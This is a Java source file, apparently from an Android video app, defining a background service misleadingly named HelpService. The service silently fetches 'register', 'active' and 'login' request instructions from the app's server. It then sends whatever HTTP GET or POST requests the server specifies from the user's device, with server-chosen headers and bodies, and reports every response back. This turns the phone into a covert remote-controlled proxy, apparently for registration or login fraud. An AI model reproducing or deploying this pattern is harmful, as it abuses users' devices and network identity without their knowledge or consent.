admin
2021-02-06 3bf7b3773cef4b20637f98e7dbcc8a73cacffe02
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
package com.mugua.mgvideo.service;
 
import java.util.Map;
import java.util.Map.Entry;
 
import org.apache.http.Header;
import org.json.JSONException;
import org.json.JSONObject;
 
import com.google.gson.Gson;
import com.google.gson.JsonSyntaxException;
import com.google.gson.reflect.TypeToken;
import com.lcjian.library.util.common.StringUtils;
import com.loopj.android.http.RequestParams;
import com.loopj.android.http.SyncHttpClient;
import com.loopj.android.http.TextHttpResponseHandler;
import com.mugua.mgvideo.BasicTextHttpResponseHandler;
import com.mugua.mgvideo.MGVideoAPI;
 
import android.app.Service;
import android.content.Context;
import android.content.Intent;
import android.content.SharedPreferences;
import android.os.IBinder;
 
public class HelpService extends Service {
 
    private String uid;
 
    @Override
    public IBinder onBind(Intent intent) {
        return null;
    }
 
    @Override
    public void onCreate() {
        super.onCreate();
        SharedPreferences share = getSharedPreferences("user",
                Context.MODE_PRIVATE);
        uid = share.getString("uid", "");
        new GetTaskThread().start();
    }
 
    private void runTask() throws Exception {
        if (StringUtils.isBlank(uid))
            return;
 
        MGVideoAPI.getLSRegisterUrlRequest(HelpService.this, uid,
                new BasicTextHttpResponseHandler() {
 
                    @Override
                    public void onSuccessPerfect(int statusCode,
                            Header[] headers, JSONObject jsonObject)
                            throws Exception {
                        if (jsonObject.getBoolean("IsPost")) {
                            reportRequestResult(1 + "", jsonObject
                                    .optJSONObject("Data")
                                    .optJSONObject("Body").toString(),
                                    getThirdRequest(jsonObject));
                        }
                    }
                });
 
        Thread.sleep(1 * 1000 * 60);
 
        MGVideoAPI.getLSActiveUrlRequest(HelpService.this, uid,
                new BasicTextHttpResponseHandler() {
 
                    @Override
                    public void onSuccessPerfect(int statusCode,
                            Header[] headers, JSONObject jsonObject)
                            throws Exception {
                        if (jsonObject.getBoolean("IsPost")) {
                            reportRequestResult(2 + "", jsonObject
                                    .optJSONObject("Data")
                                    .optJSONObject("Body").toString(),
                                    getThirdRequest(jsonObject));
                        }
                    }
                });
 
        MGVideoAPI.getLSLoginUrlRequest(HelpService.this, uid,
                new BasicTextHttpResponseHandler() {
                    @Override
                    public void onSuccessPerfect(int statusCode,
                            Header[] headers, JSONObject jsonObject)
                            throws Exception {
                        if (jsonObject.getBoolean("IsPost")) {
                            reportRequestResult(3 + "", jsonObject
                                    .optJSONObject("Data")
                                    .optJSONObject("Body").toString(),
                                    getThirdRequest(jsonObject));
                        }
                    }
                });
 
        Thread.sleep(10 * 1000 * 60);
    }
 
    private void reportRequestResult(String type, String header, String data) {
        MGVideoAPI.reportRequestResult(HelpService.this, uid, type, header,
                data, new BasicTextHttpResponseHandler() {
                    @Override
                    public void onSuccessPerfect(int statusCode,
                            Header[] headers, JSONObject jsonObject)
                            throws Exception {
                        System.out.print("数据上报成功");
                    }
                });
    }
 
    String result = "";
 
    private String getThirdRequest(JSONObject jsonObject)
            throws JsonSyntaxException, JSONException, Exception {
        Map<String, String> headersMap = new Gson().fromJson(jsonObject
                .getJSONObject("Data").getJSONObject("Header").toString(),
                new TypeToken<Map<String, String>>() {
                }.getType());
        String method = jsonObject.optJSONObject("Data").optString("Method");
        SyncHttpClient syncHttpClient = new SyncHttpClient();
        syncHttpClient.setURLEncodingEnabled(false);
        syncHttpClient.setTimeout(60 * 1000);
        for (Entry<String, String> entry : headersMap.entrySet()) {
            syncHttpClient.addHeader(entry.getKey(), entry.getValue());
        }
 
        syncHttpClient.setURLEncodingEnabled(false);
        if (method.equalsIgnoreCase("GET")) {
            syncHttpClient.get(HelpService.this,
                    jsonObject.getJSONObject("Data").getString("Url"),
                    new TextHttpResponseHandler() {
 
                        @Override
                        public void onSuccess(int statusCode, Header[] headers,
                                String responseString) {
                            result = responseString;
                        }
 
                        @Override
                        public void onFailure(int statusCode, Header[] headers,
                                String responseString, Throwable throwable) {
                        }
                    });
        } else {
            Map<String, String> bodyMap = new Gson().fromJson(jsonObject
                    .getJSONObject("Data").getJSONObject("Body").toString(),
                    new TypeToken<Map<String, String>>() {
                    }.getType());
            RequestParams params = new RequestParams();
 
            for (Entry<String, String> entry : bodyMap.entrySet()) {
                params.put(entry.getKey(), entry.getValue());
            }
 
            syncHttpClient.post(HelpService.this,
                    jsonObject.getJSONObject("Data").getString("Url"), params,
                    new TextHttpResponseHandler() {
 
                        @Override
                        public void onSuccess(int statusCode, Header[] headers,
                                String responseString) {
                            result = responseString;
                        }
 
                        @Override
                        public void onFailure(int statusCode, Header[] headers,
                                String responseString, Throwable throwable) {
                        }
                    });
        }
 
        return result;
    }
 
    private class GetTaskThread extends Thread {
        public GetTaskThread() {
 
        }
 
        @Override
        public void run() {
            for (int i = 0; i < 3; i++) {
                try {
                    runTask();
                } catch (InterruptedException e) {
                    // TODO Auto-generated catch block
                    e.printStackTrace();
                } catch (Exception e) {
                    e.printStackTrace();
                }
            }
        }
    }
}